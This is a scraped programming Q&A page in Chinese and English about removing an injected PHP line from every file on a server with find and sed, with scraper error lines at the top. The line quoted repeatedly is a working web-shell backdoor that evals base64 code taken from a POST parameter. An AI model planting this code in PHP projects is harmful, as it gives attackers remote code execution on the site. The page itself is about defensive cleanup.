Warning: file_get_contents(/data/phpspider/zhask/data//catemap/5/bash/17.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Bash 查找并替换文件中的PHP代码_Bash_Shell_Scripting - Fatal编程技术网

Bash 查找并替换文件中的PHP代码

Bash 查找并替换文件中的PHP代码,bash,shell,scripting,Bash,Shell,Scripting,我有以下字符串被注入到每个 if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();} 如何删除它 我正在尝试以下几点,但运气不太好: find /home -type f -exec sed -i 's/if(@$_POST['test']){eval(base64_decode($_

我有以下字符串被注入到每个
if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}
如何删除它

我正在尝试以下几点,但运气不太好:

find /home -type f -exec sed -i 's/if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}//g' {} \;

字符串包含许多在正则表达式中具有特殊含义的字符(例如,
$(){}[]
)。要使
sed
正常工作,您需要将它们全部转义。您还需要使用
'\''

对正则表达式参数使用
$'
语法,并在其中转义定界
$
[

find /home -type f -exec sed -i $'s/if(@\$_POST\[\'test\']){eval(base64_decode(\$_POST\[\'test\'])); exit();}php if(@\$_POST\[\'test\']){eval(base64_decode(\$_POST\[\'test\'])); exit();}//g' {} \;